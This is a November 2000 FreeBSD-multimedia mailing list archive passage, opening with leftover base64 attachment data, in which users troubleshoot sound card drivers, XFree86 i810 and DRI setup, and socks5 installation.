AAAAD/AADwsAAAAAALAw//94f/8AAA8LP7u7u7CwMPDwAADwAAAPCz+wAAuw sDDw/4eP8AAADws/////8LAw8PAAAPAAAA8LMzMzMzCwMPD/eH/wAAAPC7u7 u7u7sDDw8AAA8AAADwsAAAAAALAw8P+Hj/AAAA8LP7u7u7CwMPDwAADwAAAP Cz+wAAuwsDDw/3h/8AAADws/////8LAw8PAAAPAAAA8LMzMzMzCwMPD/h4/w AAAPC7u7u7u7sDDw8AAA8AAADwAAAAAAAAAw//94f/8AAA/wu7u7u7u7AP8A AAAP8AAA/wAAAAAAAADwiIiIgPAA//8P////////8IeHh4DwAPAAAAAAAAAA AAgAAAAP8AD/CIiIiIiIiIiA/////wAAD/AAAAAAAAAAD/AAAAAAAAD///// //////8AAAAAAAD///Af//wAAP/8AAD//AAA//wAAMAAAACAAAAfAAAADwAA AAcAAAAHgAAAB4AAAAeAAAAPgAAQH4AAEB+AABAfgAAQH4AAEB+AABAfgAAQ H4AAEB+AABAfgAAQH4AAEB+AAAAPgAAAB8AAAAcAAAAHAAAABwAAAA+AAAf/ wAAP/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAQAAAAIAAAAAEABAAA AAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAA gACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAP //////8AAA8AAAAADwAAAP//AP//AAAA8AAAAPD///8IeHh4D/AAAAAAAAcP 8Ds7OzsPCA/ws7Ozsw8HD/A7Ozs7DwgP8LOzs7MPBw/wOzAAAA8ID/CzsP// /wcPDwAPAAAACA8A//8Hh4eA8AAAAPAAAA8AAAAA////8AD4AAAA+AAAAPwA AAD8AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAwAEA APwDAAD8BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAIAICAQAAQAAQDoAgAAAgAQEBAABAABACgBAAADAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== --= Multipart Boundary -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Sun Nov 19 22:42:34 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from wolf.istc.kiev.ua (wolf.istc.kiev.ua [193.193.221.1]) by hub.freebsd.org (Postfix) with ESMTP id 1872C37B479 for ; Sun, 19 Nov 2000 22:42:31 -0800 (PST) Received: from localhost (kunia@localhost) by wolf.istc.kiev.ua ( . . / . . ) with ESMTP id IAA23326; Mon, 20 Nov 2000 08:42:12 +0200 Date: Mon, 20 Nov 2000 08:42:12 +0200 (EET) From: Olexander Kunytsa To: Doug White Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XFree86 i810 problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Nov 2000, Doug White wrote: > > > () i810: chose watermark 0x22218000: (tab.freq 94.5) > > (==) I810(0): Backing store disabled > > (II) I810(0): AGPGART: allocation of 2048 pages failed > > Do you have the agp (agpgart?) kernel module loaded? I have it in kernel: kunia# grep agp /sys/i386/conf/SUMRAK device agp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 4:44: 2 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from f1node03.rhrz.uni-bonn.de (node03.rhrz.uni-bonn.de [131.220.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 4375737B4E5 for ; Tue, 21 Nov 2000 04:44:00 -0800 (PST) Received: from moritz.alleswirdgelber (ascend-tk-p59.dialin.uni-bonn.de [131.220.244.59]) by f1node03.rhrz.uni-bonn.de (8.9.3/8.9.3) with ESMTP id NAA364616 for ; Tue, 21 Nov 2000 13:40:28 +0100 Received: from localhost (uzs106@localhost [127.0.0.1]) by moritz.alleswirdgelber (8.9.3/8.9.3) with ESMTP id NAA00751 for ; Tue, 21 Nov 2000 13:08:35 +0100 (CET) (envelope-from uzs106@ibm.rhrz.uni-bonn.de) Date: Tue, 21 Nov 2000 13:08:35 +0100 (CET) From: Heiko Recktenwald X-Sender: uzs106@moritz.alleswirdgelber To: multimedia@FreeBSD.ORG Subject: video/vnd.mpegurl is registered. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, might be slightly offtopic, but thanks to everybody who helped to develop the idea of this simple thing. With a reference to LMJ (;-)) at ftp://ftp.isi.edu/in-notes/iana/assignments/media-types/video/vnd.mpegurl H. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 4:52:51 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from hill.noc.uunet.co.za (hill.noc.uunet.co.za [196.7.0.142]) by hub.freebsd.org (Postfix) with ESMTP id C2B7F37B4C5 for ; Tue, 21 Nov 2000 04:52:48 -0800 (PST) Received: by hill.noc.uunet.co.za (Postfix, from userid 1011) id 9331B22E05; Tue, 21 Nov 2000 14:52:45 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by hill.noc.uunet.co.za (Postfix) with ESMTP id 9118B1F01E; Tue, 21 Nov 2000 14:52:45 +0200 (SAST) Date: Tue, 21 Nov 2000 14:52:45 +0200 (SAST) From: David Tucker X-Sender: davet@hill.noc.uunet.co.za To: freebsd-questions@uunet.co.za Cc: multimedia@FreeBSD.ORG Subject: Crystal Sound Card not recognised Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have a Crystal Semiconductor 4281 that is not being recognised when my machine boots. This is what I get from dmesg pci0: (vendor=0x1013, dev=0x6005) at 9.0 irq 5 I now the card works as I can use it with the Opensound drivers. I have the following lines in my kernel. device pcm device csa This is the output of uname -a FreeBSD one.fw.uunet.co.za 4.2-RELEASE FreeBSD 4.2-RELEASE #1: Mon Nov 20 14:26:28 SAST 2000 davet@one.fw.uunet.co.za:/usr/src/sys/compile/ONE i386 I have spent quite a bit of time fiddling trying to get the card to work and would appreciate any suggestions as to how to get my box to see the card. ---------------------------------------------------------------------------- David Tucker Grace finds beauty in everything. UUNET SA -Bono Network Operations To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 5:19:22 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from haig.cs.ucl.ac.uk (haig.cs.ucl.ac.uk [128.16.6.8]) by hub.freebsd.org (Postfix) with SMTP id 77C2737B663 for ; Tue, 21 Nov 2000 05:18:59 -0800 (PST) Received: from borg.cs.ucl.ac.uk by haig.cs.ucl.ac.uk with local SMTP id ; Tue, 21 Nov 2000 13:18:46 +0000 From: Orion Hodson X-Organisation: University College London, CS Dept. X-Phone: +44 (0)20 7679 3704 To: David Tucker Cc: freebsd-questions@uunet.co.za, multimedia@FreeBSD.ORG Subject: Re: Crystal Sound Card not recognised In-reply-to: Your message of "Tue, 21 Nov 2000 14:52:45 +0200." Date: Tue, 21 Nov 2000 13:19:08 +0000 Message-Id: <20001121131859.77C2737B663@hub.freebsd.org> Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org David Tucker wri tes: > I have a Crystal Semiconductor 4281 that is not being recognised when my > machine boots. > > This is what I get from dmesg > > pci0: (vendor=0x1013, dev=0x6005) at 9.0 irq 5 > > I now the card works as I can use it with the Opensound drivers. I have > the following lines in my kernel. > > device pcm > device csa > Looking at the files in /usr/src/sys/dev/sound/pci, there's a definition for this card id in csareg.h, but it does not exist in the csa_probe function in csa.c. According to the CS summary documentation for this chip it is pin compatible with the CS4614 that is supported. Try adding a case for CS4280_PCI_ID in csa_probe() and seeing if that helps. Kind Regards - Orion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 5:27:42 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from web10905.mail.yahoo.com (web10905.mail.yahoo.com [216.136.131.41]) by hub.freebsd.org (Postfix) with SMTP id 82DB737B4CF for ; Tue, 21 Nov 2000 05:27:40 -0800 (PST) Message-ID: <20001121131017.56466.qmail@web10905.mail.yahoo.com> Received: from [212.56.14.110] by web10905.mail.yahoo.com; Tue, 21 Nov 2000 05:10:17 PST Date: Tue, 21 Nov 2000 05:10:17 -0800 (PST) From: Plamen Manov Subject: CMI8338 problem To: freebsd-multimedia@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi guyz I have a FreeBSD 4.2-BETA and a CMI8338 sound card placed on my motherboard,which I can't run :( I found the following mail in the mail archive: >What I found in -multimedia is CMI8330, which is an >ISA PnP chip. > >If you are using 3.2R, you may want to try patches at: > >http://www.imou.to/~AoiMoe/BSD-at-Random/cmi/CMI8x38->19990923-1.diff >http://www.imou.to/~AoiMoe/BSD-at-Random/cmi/CMI8x38->19990923-1-to-19990924-1.diff > >With these patches, a CMI8338 would at least sound. > >Say, anyone wanna port these patches to newpcm? but the drivers they talk about are not available at that address.:( I'll be very happy if you can find them for me or know some other way to setup this card. Thank You Plamen Manov __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 5:51:52 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from hill.noc.uunet.co.za (hill.noc.uunet.co.za [196.7.0.142]) by hub.freebsd.org (Postfix) with ESMTP id 51CFC37B4CF for ; Tue, 21 Nov 2000 05:51:49 -0800 (PST) Received: by hill.noc.uunet.co.za (Postfix, from userid 1011) id C06D722E05; Tue, 21 Nov 2000 15:51:46 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by hill.noc.uunet.co.za (Postfix) with ESMTP id BE7CC1F01E; Tue, 21 Nov 2000 15:51:46 +0200 (SAST) Date: Tue, 21 Nov 2000 15:51:46 +0200 (SAST) From: David Tucker X-Sender: davet@hill.noc.uunet.co.za To: Orion Hodson Cc: freebsd-questions@uunet.co.za, multimedia@FreeBSD.ORG Subject: Re: Crystal Sound Card not recognised In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Nov 2000, Orion Hodson wrote: > Looking at the files in /usr/src/sys/dev/sound/pci, there's a > definition for this card id in csareg.h, but it does not exist in the > csa_probe function in csa.c. According to the CS summary > documentation for this chip it is pin compatible with the CS4614 that > is supported. Try adding a case for CS4280_PCI_ID in csa_probe() and > seeing if that helps. This is what I added to csa.c case CS4281_PCI_ID: s = "Crystal Semiconductor CS4281 Audio accelerator"; break; The soundcard is now recognised at boot but I am getting some funny messages I get csa0: mem 0xe8100000-0xe810ffff,0xe8110000-0xe8110fff irq 5 at device 9.0 on pci0 device_probe_and_attach: csa0 attach returned 6 and then later csa0: mem 0xe8100000-0xe810ffff,0xe8110000-0xe8110fff irq 5 at device 9.0 on pci0 device_probe_and_attach: csa0 attach returned 6 csa0: mem 0xe8100000-0xe810ffff,0xe8110000-0xe8110fff irq 5 at device 9.0 on pci0 device_probe_and_attach: csa0 attach returned 6 When I cat /dev/sndstat I get cat: /dev/sndstat: Device not configured This is after remaking snd0 using MAKEDEV snd0 ---------------------------------------------------------------------------- David Tucker Grace finds beauty in everything. UUNET SA -Bono Network Operations To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 5:55:43 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from haig.cs.ucl.ac.uk (haig.cs.ucl.ac.uk [128.16.6.8]) by hub.freebsd.org (Postfix) with SMTP id 0870937B4D7 for ; Tue, 21 Nov 2000 05:55:41 -0800 (PST) Received: from borg.cs.ucl.ac.uk by haig.cs.ucl.ac.uk with local SMTP id ; Tue, 21 Nov 2000 13:54:16 +0000 From: Orion Hodson X-Organisation: University College London, CS Dept. X-Phone: +44 (0)20 7679 3704 To: Plamen Manov Cc: freebsd-multimedia@freebsd.org Subject: Re: CMI8338 problem In-reply-to: Your message of "Tue, 21 Nov 2000 05:10:17 PST." <20001121131017.56466.qmail@web10905.mail.yahoo.com> Date: Tue, 21 Nov 2000 13:54:38 +0000 Message-Id: <20001121135541.0870937B4D7@hub.freebsd.org> Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org <20001121131017.56466.qmail@web10905.mail.yahoo.com>Plamen Manov writes: > Hi guyz > > I have a FreeBSD 4.2-BETA and a CMI8338 sound card > placed on my motherboard,which I can't run :( > > I found the following mail in the mail archive: > > >What I found in -multimedia is CMI8330, which is an > >ISA PnP chip. > > > >If you are using 3.2R, you may want to try patches > at: > > > >http://www.imou.to/~AoiMoe/BSD-at-Random/cmi/CMI8x38->19990923-1.diff > >http://www.imou.to/~AoiMoe/BSD-at-Random/cmi/CMI8x38->19990923-1-to-19990924-1.diff > > > >With these patches, a CMI8338 would at least sound. > > > >Say, anyone wanna port these patches to newpcm? > but the driversthey talk about are not available at > that address.:( Don't know where the diff's are but the latest Linux ALSA tarball has drivers for this chipset, and it should be possible to port them to newpcm. (see http://www.alsa-project.org). cheers - Orion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 6: 1:38 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from srv13-poa.poa.terra.com.br (srv13-poa.poa.zaz.com.br [200.248.149.91]) by hub.freebsd.org (Postfix) with ESMTP id 153EA37B4CF for ; Tue, 21 Nov 2000 06:01:33 -0800 (PST) Received: from srv8-poa.poa.terra.com.br (srv8-poa.poa.terra.com.br [200.248.149.253]) by srv13-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA31194; Tue, 21 Nov 2000 12:01:30 -0200 Received: from br.zoing.net (cm-net-C8B02AC8.poa.terra.com.br [200.176.42.200]) by srv8-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA31548; Tue, 21 Nov 2000 12:01:29 -0200 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20001121135541.0870937B4D7@hub.freebsd.org> Date: Tue, 21 Nov 2000 12:01:34 -0200 (EDT) Organization: http://www.showZ.com.br From: Antonio Carlos Venancio Junior To: Orion Hodson , freebsd-multimedia@FreeBSD.org Subject: Re: CMI8338 problem Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Orion, And I would be very thankfull if someone did that! =) > Don't know where the diff's are but the latest Linux ALSA tarball has > drivers for this chipset, and it should be possible to port them to > newpcm. (see http://www.alsa-project.org). Cya Antonio [ floripa@zoing.net | antonio@inf.ufsc.br ] [ http://floripa.zoing.net | http://www.showZ.com.br ] [ ICQ# 9253680 | Floripa | MySQL | PHP | FreeBSD - The Power to Serve ] --- Hacker's Law: The belief that enhanced understanding will necessarily stir a nation to action is one of mankind's oldest illusions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 9:16: 2 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from hightemplar.com (alex.telmap.com [192.116.157.233]) by hub.freebsd.org (Postfix) with ESMTP id E32D237B479 for ; Tue, 21 Nov 2000 09:15:58 -0800 (PST) Received: from freenet.co.uk (alex@hightemplar.com [127.0.0.1]) by hightemplar.com (8.11.1/8.11.1) with ESMTP id eALHFOd67279; Tue, 21 Nov 2000 19:15:28 +0200 (IST) (envelope-from ak@freenet.co.uk) Message-ID: <3A1AADAC.2B0EF3CE@freenet.co.uk> Date: Tue, 21 Nov 2000 19:15:24 +0200 From: A G F Keahan X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.1.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: gandalf@vilnya.demon.co.uk Cc: freebsd-multimedia@freebsd.org Subject: ES1371 (rev 2) AC97 problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org pcm fails to attach the card with the following error message: pcm0: port 0xb800-0xb83f irq 5 at device 14.0 on pci0 pcm0: ac97 codec invalid or not present (id == 0) device_probe_and_attach: pcm0 attach returned 6 The relevant line from 'pciconf -l': pcm0@pci0:14:0: class=0x040100 card=0x20001274 chip=0x58801274 rev=0x02 hdr=0x00 Verbose output (es_debug=1) appended below: pcm0: port 0xb800-0xb83f irq 5 at device 14.0 on pci0 es_init es_init rev == 7 || rev >= 9 wrcodec addr 0x26 data 0x0 wrcodec addr 0x0 data 0x0 rdcodec addr 0x0 ... loop 1 t 0x1000 x 0x40000000 loop 2 t 0x5000 x 0x70000 loop 3 t 0x1000 0x40000000 ret 0x0 rdcodec addr 0x7c ... loop 1 t 0x1000 x 0x40000000 loop 2 t 0x5000 x 0x70000 loop 3 t 0x1000 0x40000000 ret 0x0 rdcodec addr 0x7e ... loop 1 t 0x1000 x 0x40000000 loop 2 t 0x5000 x 0x70000 loop 3 t 0x1000 0x40000000 ret 0x0 pcm0: ac97 codec invalid or not present (id == 0) device_probe_and_attach: pcm0 attach returned 6 Any ideas? Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 9:34:21 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by hub.freebsd.org (Postfix) with ESMTP id 434AA37B4C5 for ; Tue, 21 Nov 2000 09:34:19 -0800 (PST) Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.9.3/8.9.3) id SAA76243 for multimedia@freebsd.org; Tue, 21 Nov 2000 18:34:11 +0100 (CET) (envelope-from kuku) Date: Tue, 21 Nov 2000 18:34:11 +0100 (CET) From: Christoph Kukulies Message-Id: <200011211734.SAA76243@gilberto.physik.rwth-aachen.de> To: multimedia@freebsd.org Subject: socks5 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Anyone having installed socks5 recently. The ports says I should grab socks5-v1.0r10.tar.gz from http://www.socks.nec.com. Cannot find such a file there. ALl they have is eval software. I want to run napster through a proxy server and thst seems to require socks5. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 9:47:15 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from milquetoast.cs.mcgill.ca (milquetoast.CS.McGill.CA [132.206.2.5]) by hub.freebsd.org (Postfix) with ESMTP id D10D837B479 for ; Tue, 21 Nov 2000 09:47:12 -0800 (PST) Received: (from mat@localhost) by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id MAA09855; Tue, 21 Nov 2000 12:47:00 -0500 (EST) Date: Tue, 21 Nov 2000 12:47:00 -0500 From: Mathew KANNER To: Christoph Kukulies Cc: multimedia@FreeBSD.ORG Subject: Re: socks5 Message-ID: <20001121124700.D7142@cs.mcgill.ca> References: <200011211734.SAA76243@gilberto.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: Christoph Kukulies's message [socks5] as of Tue, Nov 21, 2000 at 06:34:11PM +0100 Organization: SOCS, McGill University, Montreal, CANADA Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Nov 21, Christoph Kukulies wrote: > Anyone having installed socks5 recently. > The ports says I should grab socks5-v1.0r10.tar.gz from > http://www.socks.nec.com. I think you may be out of date. http://www.FreeBSD.org/cgi/cvsweb.cgi/ports/net/socks5/Makefile?rev=1.34&content-type=text/x-cvsweb-markup says that it needs r11 which is what I found on their website. You do have to sign up first, though. I also beleive that they call it the reference implementation. This is more of a -questions question. Try to use that resource intead next time. --Mat > > Cannot find such a file there. ALl they have is eval software. > > I want to run napster through a proxy server and thst seems to require socks5. > > > > -- > Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-multimedia" in the body of the message -- Mathew Kanner SOCS McGill University Obtuse quote: He [not me] understands: "This field of perception is void of perception of man." -- The Quintessence of Buddhism To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Tue Nov 21 23:35: 9 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from kiew.egd.igd.fhg.de (kiew.egd.igd.fhg.de [192.102.170.32]) by hub.freebsd.org (Postfix) with ESMTP id 5BE6837B4CF for ; Tue, 21 Nov 2000 23:35:07 -0800 (PST) Received: from penguin (penguin.egd.igd.fhg.de [192.102.170.145]) by kiew.egd.igd.fhg.de (Netscape Messaging Server 3.6) with ESMTP id AAA31B0; Wed, 22 Nov 2000 08:34:56 +0100 Date: Wed, 22 Nov 2000 08:35:32 +0100 (CET) From: "Thomas Runge" X-Sender: runge@penguin.egd.igd.fhg.de To: Orion Hodson Cc: Plamen Manov , freebsd-multimedia@freebsd.org Subject: Re: CMI8338 problem In-Reply-To: <20001121135541.0870937B4D7@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Nov 2000, Orion Hodson wrote: > Don't know where the diff's are but the latest Linux ALSA tarball has > drivers for this chipset, and it should be possible to port them to > newpcm. (see http://www.alsa-project.org). No, it isn't. Alsa "is released under version 2 of the GPL (GNU general public license)" thus, it's not possible to port their drivers to any BSD. -- Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 0:36:59 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from mailrouter1.strath.ac.uk (orkney.cc.strath.ac.uk [130.159.248.40]) by hub.freebsd.org (Postfix) with ESMTP id 0F67D37B479 for ; Wed, 22 Nov 2000 00:36:57 -0800 (PST) Received: from m53-mp2-cvx1b.ren.ntl.com ([62.252.129.117] helo=cs.strath.ac.uk) by mailrouter1.strath.ac.uk with esmtp (Exim 3.12 #2) id 13yVO8-0006wL-00; Wed, 22 Nov 2000 08:36:21 +0000 Message-ID: <3A1B85A8.5ABD9D22@cs.strath.ac.uk> Date: Wed, 22 Nov 2000 08:36:56 +0000 From: Roger Hardiman Organization: Strathclyde University X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 4.2-BETA i386) X-Accept-Language: en MIME-Version: 1.0 To: Thomas Runge Cc: Orion Hodson , Plamen Manov , freebsd-multimedia@FreeBSD.ORG Subject: Re: CMI8338 problem References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thomas Runge wrote: > > > ....the latest Linux ALSA tarball has drivers for this chipset...... > > Alsa "is released under version 2 of the GPL (GNU > general public license)" thus, it's not possible to port their drivers > to any BSD. Actually we can port GPLed drivers now. I had to check this with the Core Team recently. We can add GPL drivers and code to the source tree at /usr/src/sys/gnu Infact, you can find a single GPL sound driver file at /usr/src/sys/gnu/dev/sound/pci/emu10k1.h It makes things harder as we have to put GPLed files in a locate away from the main drivers, and we should cope with compiling with the /sys/gnu directory is missing (if you want 100% GPL free code) But a solution is in place. Roger -- Roger Hardiman Strathclyde Uni Telepresence Research Group, Glasgow, Scotland. http://www.telepresence.strath.ac.uk 0141 548 2897 roger@cs.strath.ac.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 8:12:38 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from diamond.gpad.ac.ru (diamond.gpad.ac.ru [193.233.9.65]) by hub.freebsd.org (Postfix) with ESMTP id 77E2337B4CF; Wed, 22 Nov 2000 08:12:24 -0800 (PST) Received: from cavia.landau.ac.ru (cavia.landau.ac.ru [193.233.9.17]) by diamond.gpad.ac.ru (8.9.1/8.9.1) with ESMTP id TAA22129; Wed, 22 Nov 2000 19:12:13 +0300 (MSK) Received: (from dima@localhost) by cavia.landau.ac.ru (8.11.1/8.11.1) id eAMG6nU00290; Wed, 22 Nov 2000 19:06:49 +0300 (MSK) (envelope-from dima) Date: Wed, 22 Nov 2000 19:06:33 +0300 From: Dmitry Sivachenko To: freebsd-multimedia@freebsd.org Cc: cg@freebsd.org Subject: Problem with MSS sound card Message-ID: <20001122190633.A272@netserv1.chg.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! I use FreeBSD-4.2-BETA, and I have MSS sound card (ISA). When I use these two lines in my kernel config file controller snd0 device mss0 at isa? port 0x530 irq 9 drq 1 my sound card is detected as follows mss0 at port 0x530 irq 9 drq 1 on isa0 snd0: mss0: driver is using old-style compatability shims and works just fine. But when I am trying to use new pcm device by replacing the above lines in kernel config file with this one: device pcm0 at isa? port? irq 9 drq 1 flags 0x00 my card is detected this way: pcm0: at port 0x530-0x537 irq 9 drq 1 flags 0x9100 on isa0 But it doesn't work!!! When I am trying to play sound file with amp(1), I get these errors in /var/log/messages: Nov 22 18:59:06 cavia /kernel: AD_WAIT_INIT FAILED 1000 0x80 Nov 22 18:59:06 cavia /kernel: AD_WAIT_INIT FAILED 1000 0x80 Nov 22 18:59:06 cavia /kernel: mss: Auto calibration timed out(1). Nov 22 18:59:06 cavia /kernel: AD_WAIT_INIT FAILED 201 0x80 Nov 22 18:59:06 cavia last message repeated 11 times Nov 22 18:59:07 cavia /kernel: pcm0: play interrupt timeout, channel dead What's wrong? PS: I have no idea which value for 'flags' to use... Thank you in advance, Dima. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 15:53:29 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from grok.example.net (cr479972-a.rct1.bc.wave.home.com [24.113.37.168]) by hub.freebsd.org (Postfix) with ESMTP id B1C2537B4CF for ; Wed, 22 Nov 2000 15:53:27 -0800 (PST) Received: by grok.example.net (Postfix, from userid 1000) id 3BE87212E29; Wed, 22 Nov 2000 15:53:18 -0800 (PST) Date: Wed, 22 Nov 2000 15:53:18 -0800 From: Steve Reid To: freebsd-multimedia@freebsd.org Subject: XF86-4, Linux binaries, DRI? Message-ID: <20001122155318.A11020@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have XFree86-4 working with DRI for FreeBSD binaries on my new Matrox G450 (this helped: http://wop21.wop.wtb.tue.nl/freebsd/hwaccel.txt) and am now trying to get DRI working with Linux binaries, Q3A specificly. Right now Quake 3 appears to be doing software rendering (<1 fps). If needed I can give more info on what I've done to get to this point, but for now I'll just cut to the chase... dmesg says: linux: syscall sysctl is obsoleted or not implemented (pid=11110) linux: 'ioctl' fd=11, cmd=6401 ('d',1) not implemented I can't find any reference to "sysctl" in ktrace output, but it looks like the ioctl can stop direct rendering all by itself: 11110 quake3.x86 CALL open(0xbfbfe320,0x2,0) 11110 quake3.x86 NAMI "/compat/linux/dev/dri/card0" 11110 quake3.x86 NAMI 